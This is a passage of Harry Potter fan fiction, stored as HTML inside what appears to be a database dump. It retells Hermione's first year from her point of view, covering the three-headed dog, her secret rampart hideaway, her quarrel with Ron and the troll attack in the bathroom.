moment she had been waiting for, her chance to save the\nday.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wasting no time,\nshe pushed Ron out of the way, grabbed Harry&#8217;s wand and pointed it at the lock.\n&#8220;Alohomora.&#8221;&nbsp; The door opened.&nbsp; They raced inside and shut it quietly behind\nthem. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled\nwith self-satisfaction as she slipped Harry&#8217;s wand back in his hand.&nbsp; She had done it.&nbsp; <i>&#8220;Not exactly as I planned, but it\nworked.&nbsp; I proved how useful I can be.&#8221;</i>\nNow all she had to do was wait for Harry to congratulate\nher for her brilliance.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned around\nto take a good look at the room they were in and froze.&nbsp; They weren&#8217;t in a room; they were in another\ncorridor, a corridor with a three-headed dog, a three-headed dog that was so\nmassive, it looked as if it could eat her in one bite. Hermione heard Neville\nwhimpering beside her, but she was frozen in panic.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Okay,\nHermione, don&#8217;t panic.&nbsp; It&#8217;s a three\nheaded dog, you should know something about this.&#8221;</i>\nBut nothing came to mind.&nbsp; None of the\nbooks she had read including, &#8220;Fantastic Beasts and Where to Find Them&#8221; had ever mentioned anything about giant three-headed\ndogs.&nbsp; She stared at it from heads to\ntoe.&nbsp; It was standing on a trap\ndoor.&nbsp; Hermione did a double take.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;What&#8217;s a trap\ndoor doing under a giant three-headed dog?&nbsp;\nBetter yet, what is a giant three headed dog doing in a school.&nbsp; Did I miss some announcement about a giant\nthree-headed dog?&nbsp; Why can&#8217;t I move?&nbsp; I really really\nwant to move or at least say something.&nbsp;\nI should say something.&nbsp; This isn&#8217;t\nat all what I had planned.&nbsp; I was\nsupposed to be saving us from detention, not getting us killed.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She felt Harry\ngrab her arm as he toppled out the door.&nbsp;\nApparently Neville had finally gotten his attention.&nbsp; Hermione didn&#8217;t know.&nbsp; All she knew now was that she had to run, run\nas fast as she could away from the monstrous dog.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All in all, the night had turned out to be\nfar worst than the previous day.&nbsp;\nHermione was in a really bad mood now.&nbsp;\nShe was glad to be back in the safety of the common room again, but she\nwas also mad, mostly at herself for thinking it was a good idea to go\ngallivanting around the school in the middle of the night with the three\nstooges.&nbsp; Instead of being the hero for\nonce, she was now the girl who almost got them killed.&nbsp; What a great way to be remembered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville looked\nlike he&#8217;d never recover from the shock but after a while Ron and Harry began\ndiscussing the giant dog, trying to figure out where it had come from and why\nit was there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\nfinally had enough.&nbsp; She told them about\nthe trap door. She had been the only one staring long enough to actually take\nin the entire scene.&nbsp; It was obvious that\nthe dog was guarding something.&nbsp; She felt\nher temper rising and her ranting was definitely reflecting this, so she\ndecided to head to bed before she got in another fight with Ron.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hope you&#8217;re\npleased with yourselves,&#8221; she said to Ron as she stood.&nbsp; In her mind, this was still all his fault.\n&#8220;We could all have been killed, or worse, expelled.&#8221; She realized too late that\nshe had gotten the order wrong but she was too mad to care. &#8220;Now if you don&#8217;t\nmind, I&#8217;m going to bed.&#8221;&nbsp; She stormed up\nthe stairs, ignoring Ron&#8217;s snide response.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I&#8217;m never\ndoing this again.&nbsp; Next time, I&#8217;ll just\nlet them get in trouble or killed by a giant three-headed dog.&nbsp; Being popular just isn&#8217;t worth this kind of\nmadness.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As if things\nhadn&#8217;t gone badly enough, Hermione realized immediately when she entered her\nroom that the silencing charm had worn off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 5, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; This introduces a new aspect of Hermione&#8217;s\nlife at Hogwarts (that I completely made up) about where she disappears off to\nwhen she needs some time alone.&nbsp; In\naddition, we get to see the battle with the troll from Hermione&#8217;s point of view.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ever since that\nclose encounter with the three-headed dog, Hermione had kept her promise to\nherself to stay away from Harry and Ron.&nbsp;\nShe felt really stupid for even trying to hang around with them before.&nbsp; What had she been thinking?&nbsp; Traipsing around the castle at all hours of\nthe night in the vain hope that she might be able to save the day and make the\nfamous Harry Potter like her.&nbsp; She&#8217;d\nnever done anything that dumb in her entire life.&nbsp; What was it about Harry that made her even\nconsider it?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Whatever it was,\nshe knew that it was probably best for her sanity to stay away from him.&nbsp; It had been a whole month and she still\nhadn&#8217;t made any friends at the school.&nbsp;\nIt was getting cooler and she was getting lonely.&nbsp; Aside from Percy, Hermione did spend a lot of\ntime with Neville Longbottom, but it was mostly to help him with potions\nclass.&nbsp; Snape had taken an immense\ndislike to Neville who consistently messed up every assignment.&nbsp; It was all Hermione could do just to keep him\nfrom failing.&nbsp; Neville was of course very\ngrateful for all of Hermione&#8217;s help and kindness.&nbsp; At least he didn&#8217;t think she was a bossy\nknow-it-all.&nbsp; Snape had quickly caught on\nto this though and had banned Hermione from partnering Neville in potions\nclass.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; However, like\nPercy, Neville wasn&#8217;t the kind of person Hermione wanted to open up to.&nbsp; Maybe she was just being picky.&nbsp; Or maybe, deep down inside she still wanted\nthe chance to really talk with Harry without making a fool of herself or making him mad at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\ntaken to exploring the castle on her own during her free time.&nbsp; She needed to do something besides going to\nthe library with Neville, and the castle was amazing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; One particular\nafternoon, she had found a secret passage that led to one of the high ramparts\nof the castle.&nbsp; It was actually a stroke\nof luck that let her stumble upon the stairwell up to the ramparts.&nbsp; She was walking down a hall near Gryffindor\ntower entrance completely engrossed in a book she was reading.&nbsp; She didn&#8217;t realize that she had taken a wrong\nturn and after a few minutes she crashed into a stone statue.&nbsp; When she looked up, she saw part of the wall\nopening up behind the statue.&nbsp; Something\nshe had touched on the statue had triggered it.&nbsp;\nIt was only large enough for her to crawl through at first, but after a\nfew minutes, the passageway opened up to a huge staircase.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a few\nminutes of climbing, she&#8217;d reached a trap door.&nbsp;\nThis one was locked but a quick &#8220;alohomora&#8221;\ncharm solved that problem.&nbsp; She pushed\nthe door open and was met with a beautiful sight as she ascended onto the\nramparts.&nbsp; From up here, she could see\nthe Quidditch field, the forbidden forest, and far beyond.&nbsp; A cool breeze flowed through her hair as she\nlooked all around.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She realized how\nperfect this place was.&nbsp; Hopefully no one\nelse knew about it, and that meant she could get away from the crowd of the\ncommon room whenever she wanted and just come here to relax.&nbsp; She found out that the way to open the\npassageway was to kick the statue in the shin.&nbsp;\nAfter that, she went up to this secluded spot almost every day\nafterwards.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was\nparticularly nice to go up during the cool autumn evenings and watch the\nvarious house quidditch teams practicing.&nbsp;\nShe was close enough to see what was going on but far enough away that\nnobody noticed her sitting on the castle wall.&nbsp;\nHarry was of course practicing with the Gryffindor team.&nbsp; He was an amazing flyer and Hermione could\nsee that he would make a great seeker.&nbsp;\nWatching him fly was like poetry in motion&#8230; but it was still unfair. She\ncouldn&#8217;t understand why they would bend the rules just for him.&nbsp; She had even gone to Professor McGonagall and\nvoiced her concern about it, but the head of Gryffindor house had her heart set\non winning the Quidditch Cup and couldn&#8217;t be persuaded otherwise.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few weeks after\nher night adventure with Harry, Ron, and Neville, Hermione was up on the\nramparts watching the Gryffindor house team practice and also reading a new\nbook she had found in the library that dealt with alchemy. It was the night\nbefore Halloween and she was looking forward to the upcoming feast.&nbsp; As the last rays of sunlight began to fade,\nshe was just about to leave when something behind her startled her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Enjoying the\nshow?&#8221; Hermione whirled around.&nbsp; It was\nFred, another one of the Weasleys, sitting on his broom.&nbsp; Apparently, she had been wrong about not\nbeing able to be seen from the quidditch field.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh you scared\nme,&#8221; she said nervously.&nbsp; &#8220;What are you\ndoing up here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I should ask you\nthe same thing,&#8221; Fred quipped.&nbsp; He\nclimbed off of his broom and stood on the ramparts.&nbsp; &#8220;I thought you didn&#8217;t break school\nrules.&nbsp; You wouldn&#8217;t want one of the\nprofessor&#8217;s catching you up here.&#8221;&nbsp;\nHermione opened her mouth to answer but Fred just laughed. &#8220;Don&#8217;t worry,\nI won&#8217;t tell anyone about your little secret.&nbsp;\nTo be honest, George and I found that hidden passage behind the statue\nyears ago.&nbsp; We just never used it because\nit didn&#8217;t lead anywhere useful.&nbsp; Glad to\nsee you&#8217;ve found a use for it though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It seemed that\nevery member of the Weasley family was nice except for Ron.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I honestly\ndidn&#8217;t think anyone could see me all the way up here,&#8221; Hermione admitted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well to be\nhonest, I really couldn&#8217;t see you.&nbsp; In\nfact no one could, &#8216;cept for Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yup, he&#8217;s the\none who pointed you out to me and George. I guess that should be expected.&nbsp; He&#8217;s got the eyesight of a seeker, that&#8217;s for\nsure.&nbsp; He asked me to come up here and\nsee if you&#8217;d talk to him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; She knew\nFred and George were renowned practical jokers and wondered if this was one of\nthem.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Fred just shrugged.\n&#8220;I dunno, I just said I&#8217;d do the relay.&nbsp; He said something about burying the hatchet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well if he wants\nto talk to me, he can do it himself,&#8221; Hermione said haughtily. &#8220;He&#8217;s got a\nbroom doesn&#8217;t he?&nbsp; Tell him to fly up\nhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sheeze, don&#8217;t kill the messenger.&#8221; Fred said hopping back\non his broom. &#8220;I&#8217;m just doing the bloke a favor.&#8221; He flew off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed\nas she reflected on the brief conversation.&nbsp;\nWhy did Harry want to talk to her?&nbsp;\nIt didn&#8217;t make any sense.&nbsp; He had\nplenty of opportunities to talk to her before hand and never did.&nbsp; What was different now?&nbsp; It was probably the fact that Ron wasn&#8217;t\naround.&nbsp; He probably figured it&#8217;d be okay\nto talk to the unpopular girl if he wasn&#8217;t seen by anyone he knew.&nbsp; Maybe, he felt guilty about the way he had\nbeen treating her.&nbsp; Well she wasn&#8217;t going\nto give him the satisfaction of clearing his conscience while no one was\nlooking.&nbsp; If he wanted to talk to her, he\ncould do it in front of the other Gryffindors.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Still&#8230; it was\nnice knowing that Harry Potter actually wanted to talk to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Ugh&#8230; he\ntreats me like dirt for weeks and I melt just at the thought of talking to\nhim.&nbsp; I&#8217;m almost as lame as Parvati.&#8221;</i>\nShe headed towards the trap door.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ooo, he&#8217;s looking over here,&#8221; Lavender squealed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\njoined Lavender and Parvati at the table in the common room they were using for\nstudying.&nbsp; Obviously, Hermione had\nalready spent a great deal of time studying earlier that day on the ramparts.&nbsp; This was just another attempt to maintain\ngood relationship with her roommates.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender and\nParvati weren&#8217;t really studying though; they were reveling over Parvati&#8217;s most\nrecent attempt to get in Harry&#8217;s good graces.&nbsp;\nDuring their last Defense Against the Dark Arts\nclass, Parvati had shown off her knowledge of Harry&#8217;s claim to fame.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione mentally\nrecalled some of the more memorable moments of Parvati&#8217;s speech. <i>&#8220;And\nbecause of the amazing and mysterious powers that Harry Potter possessed, he\nwas able to, as a small baby, defeat the greatest dark wizard of all times.&#8221;</i>\nHermione had almost gagged when she heard that and Harry had looked like he was\nsinking in quicksand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think he was\nreally impressed with you,&#8221; Lavender was saying now. &#8220;You&#8217;re so lucky.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione lowered\nthe book she was reading and looked in the direction they were pointing.&nbsp; Harry was indeed looking right at their\ntable, but when they&#8217;re eyes met, he turned away.&nbsp; What was he playing at?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, are\nyou listening to me?&#8221; Lavender pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh,&#8221; Hermione\nsaid coming back to reality.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear girl,\nyou read too much.&nbsp; You&#8217;re going to fry\nyour brain.&nbsp; I was saying that you need\nto watch out for Ron.&nbsp; I overheard him\ntelling Harry at lunch that he wished there was a way that he and Harry could\nget you to help them with their schoolwork.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fat chance,&#8221;\nHermione scoffed. &#8220;I&#8217;d rather hear you snore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione caught\nherself. &#8220;Nothing.&nbsp;\nI&#8217;m just saying there&#8217;s nothing Ron Weasley could say or do that would\nmake me want to help them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender\nshrugged. &#8220;Well, I&#8217;m just saying he seemed to be cooking up some scheme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So that&#8217;s what\nwas going on.&nbsp; That was why Harry\nsuddenly decided he wanted to talk to her that evening. Be nice to the smart\nunpopular girl so you can get what you want.&nbsp;\nShe felt like she was in a bad muggle teen movie.&nbsp; Well she wasn&#8217;t going to fall for it.&nbsp; Ron and Harry would have to find some other\ngullible genius girl to con because it wouldn&#8217;t be her, and Parvati and\nLavender certainly didn&#8217;t qualify&#8230; for the genius part at least.&nbsp; She picked up her books and marched purposely\nup the stairs to her dorm.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nknow whether to be angry or amused.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; On the one hand,\nfor some odd reason that she couldn&#8217;t understand, Professor Flitwick the Charms\nteacher had paired her, class genius, with Ron, class clown, for their\nlevitation lesson.&nbsp; She wondered vaguely\nif this was another one of Harry&#8217;s tricks to get Hermione to warm up to them so\nshe could help them with their classes.&nbsp;\nShe figured if anyone could persuade a professor to do what they wanted\nit was the famous Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; On the other\nhand, Ron&#8217;s stupidity had reached an all time high in Hermione&#8217;s opinion.&nbsp; She suppressed a grin as she watched Ron\nsmack poke and prod the feather they were supposed to make float, shouting the\nmagic words completely wrong.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She watched him\nflap his arms around a bit longer and then finally stopped him. &#8220;You&#8217;re saying\nit wrong,&#8221; she said as she tried to demonstrate the right way to do the spell.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione quickly\nfound out that Ron wasn&#8217;t the teachable type. &#8220;You do it then, if you&#8217;re so\nclever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So she did. &#8220;Wingardium Leviosa.&#8221; The feather\nbegan to float.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned and\nsmiled at Ron as Professor Flitwick praised her in front of the class. &#8220;See, I\ntold you,&#8221; she said with purposeful smugness.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re such a\nknow-it-all,&#8221; Ron said seething.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ll have to\ndo a lot better than that, you stupid git.&#8221; Hermione\ncountered.&nbsp; &#8220;Besides, that&#8217;s not a good\nway to treat someone you&#8217;re trying to get tutoring from.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tutoring, from\nyou?&#8221; Ron scoffed.&nbsp; &#8220;I&#8217;d rather be\ndropped in the middle of the forbidden forest with ten of those three-headed\ndogs after me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re just\njealous because I&#8217;m at the top of our class and you can barely scrape bottom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well if having\ngood grades means I can&#8217;t have any friends and I have to be hated by everyone,\nthen I think I&#8217;ll pass, thank you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione opened\nher mouth but then shut it again.&nbsp; Her\nhead was swarming.&nbsp; She couldn&#8217;t believe\nthat he had the nerve to say that to her.&nbsp;\nWhat did he know?&nbsp; He was nothing\nbut a stupid, worthless&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wasn&#8217;t giving\nup friendships for grades was she?&nbsp; It\nwasn&#8217;t wrong to want to make something of herself, to be the best witch she\ncould be, to graduate from Hogwarts in seven years with everything she needed\nto get a good job and&#8230; and would it all be worth it if she were miserable doing\nit?&nbsp; Was she really despised by all of\nher classmates?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was so numb,\nshe barely heard Flitwick dismissing them from class.&nbsp; She gathered her bags and rushed hastily from\nthe classroom.&nbsp; She just needed to go\nsomewhere and think.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron\nwere just in front of her. &#8220;It&#8217;s no wonder no one can stand her,&#8221; Ron was\ntelling his friend. &#8220;She&#8217;s a nightmare, honestly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt her\neyes watering.&nbsp; She just couldn&#8217;t take it\nanymore.&nbsp; She ran off towards the nearest\nbathroom before anyone could catch her crying.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few minutes\nlater Hermione crashed through the door of the second floor bathroom.&nbsp; Padma and Parvati Patil were already\nthere.&nbsp; If she hadn&#8217;t been so upset,\nshe&#8217;d have wondered how the two girls got there ahead of her.&nbsp; Parvati was in her charm&#8217;s class only a few\nminutes ago and who knew where Padma had been previously.&nbsp; The only logical explanation was that the\ntwins had previously agreed to meet there, but Hermione didn&#8217;t care about\nthis.&nbsp; She quickly ran to one of the\nstalls and locked herself in.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She hadn&#8217;t been\nfast enough.&nbsp; &#8220;Hermione?&#8221; she heard\nParvati call. &#8220;Is that you?&nbsp; What&#8217;s\nwrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\ntrying not to cry but she couldn&#8217;t help it. &#8220;Nothing!&nbsp; Nothing&#8217;s wrong!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati knocked\non the stall door. &#8220;Come on Hermione, whatever it is, I&#8217;m sure you&#8217;ll feel\nbetter just talking about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No I won&#8217;t.&#8221;\nHermione snapped, &#8220;just leave me alone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on,&#8221; she\nheard Padma whisper to her twin. &#8220;We should just let her have some time to\nherself.&nbsp; Besides, she won&#8217;t be late to\nher next class, you know that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh&#8230; alright.&#8221; Parvati finally agreed, and they left the\nbathroom.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Hermione had\nno intention of coming out, not for her next class, not even for the grand\nHalloween feast that the school was having that night.&nbsp; For the first time since she&#8217;d come to\nHogwarts, all she wanted to do was go home.&nbsp;\nShe had cried for at least an hour on and off, and she had finally come\nto her decision.&nbsp; She was going to leave\nschool.&nbsp; She couldn&#8217;t take it anymore.&nbsp; She was miserable and friendless and she\ndidn&#8217;t know what to do about it.&nbsp; For all\nher knowledge, she couldn&#8217;t figure out a way to make friends.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;What&#8217;s wrong\nwith me?&#8221;</i> she chastised herself. <i>&#8220;Why can&#8217;t I just be like everyone\nelse?&nbsp; Why can&#8217;t I be like Parvati or\nLavender so people would like me?&nbsp; Why do\nI have to be a brainy little know-it-all who nobody can stand?&nbsp; Is my whole life going to be like this?&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She vaguely\nwondered if there was some sort of spell or potion that could permanently\nchange her personality.&nbsp; Or maybe she\nwould have to go to school in Japan; she&#8217;d read somewhere that they took\neducation far more seriously than the rest of the world.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;This is\nstupid,&#8221; </i>she said getting off the toilet and opening the stall. <i>&#8220;I&#8217;ll\njust go to McGonagall right now and tell her I&#8217;ve decided to leave Hogwarts and\nthat I would be taking the train home tomorrow&#8230; what is that smell?&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She heard the\nbathroom door open and something lumber inside.&nbsp;\nShe peered around the stall door and saw something that almost made her\nheart stop.&nbsp; It was a troll, a massive,\nugly, smelly, long-armed, fat-legged mountain troll with a giant club and it\nwas staring straight at her, a dim look in its eyes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gulped,\nbut tried to keep her wits about her.&nbsp; If\nshe could just make it to the door, then she&#8217;d be safe.&nbsp;&nbsp; Trolls were slow and stupid.&nbsp; It wouldn&#8217;t be able to keep up with a student\nrunning at top speed, but then to her horror, something slammed the bathroom\ndoor shut and she heard the lock click shut.&nbsp;\nShe was trapped.&nbsp; Her wand was\nstill in her bag in the stall, which now seemed a thousand feet away.&nbsp; She knew if she made any sudden moves she was\ndone for.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She backed up\nslowly until she hit the wall.&nbsp; The\nmassive troll took a few steps forward, raising its heavy club.&nbsp; Every muscle in Hermione&#8217;s body seemed to\nlock up, she couldn&#8217;t move, she couldn&#8217;t think.&nbsp;\nShe couldn&#8217;t do anything.&nbsp; It was\njust as it had been with the three-headed dog.&nbsp;\nShe was petrified with fear.&nbsp; She\nlet out a shrill scream as the troll stormed closer punching holes in the\nstalls and sinks as it went.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then suddenly,\nsomeone burst into the bathroom.&nbsp; It was\nHarry and Ron.&nbsp; Hermione didn&#8217;t know how\nor why they were there, but she was glad that she wasn&#8217;t alone any more.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;You know,\nevery time I&#8217;m in a life threatening situation, these two are with me.&nbsp; Then again, I&#8217;ve only been in two life\nthreatening situations so far so I guess that&#8217;s hardly a correlation.&nbsp; Then again, the last time this happened, it\nwas Ron&#8217;s fault.&nbsp; So I bet this is Ron&#8217;s\nfault too.&nbsp; Maybe he&#8217;s the one who locked\nthe door, probably thought it was funny.&nbsp;\nWait a minute; what am I saying? They&#8217;re saving my life, I should be\ngrateful.&nbsp; Oh geez,\nI&#8217;m rambling again.&nbsp; Why can&#8217;t I\nmove?&nbsp; Come on Hermione do something!&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She felt something\npulling at her, and vaguely realized it was Harry.&nbsp; He had a desperate look on his face.&nbsp; He was shouting something but she couldn&#8217;t\nhear him.&nbsp; It was like someone had hit\nthe mute button on a muggle television.&nbsp;\nShe tried to will herself to move, but she couldn&#8217;t.&nbsp; Her body just wasn&#8217;t taking orders from her\nmind anymore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then Harry left\nher side. <i>&#8220;He&#8217;s not going to just lave me here is he?&#8221;</i> she thought to\nherself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Harry wasn&#8217;t\nleaving; instead he jumped on the troll from behind, ramming his wand up its\nnose.&nbsp; He was trying to stop it from\nkilling them all.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;He really is\nbrave,&#8221;</i> Hermione thought as the troll tried to sling Harry off.&nbsp; It was going to kill him if someone didn&#8217;t do\nsomething, but what could she do, she was a witch without a wand and to top\nthings off, her body wouldn&#8217;t even move.&nbsp;\nShe was completely useless.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But then Ron\npulled out his wand and pointed it at the troll.&nbsp; She heard him yell, &#8220;Wingardium\nLeviosa.&#8221; He&#8217;d finally said it right and in response,\nthe troll&#8217;s club floated from its hands and came crashing down on its\nhead.&nbsp; The beast dropped to the\nground.&nbsp; It was over.&nbsp; Ron had done it, though by the look on his\nface even he was surprised.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione finally\ngot her voice back and asked the question that was on everyone&#8217;s mind. &#8220;Is it&#8230;\ndead?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his\nhead. &#8220;I don&#8217;t think so.&nbsp; I think it&#8217;s\njust been knocked out.&#8221;&nbsp; He bent down to\nretrieve his wand, which was still in the troll&#8217;s nose.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly, several\nmore people had burst into the 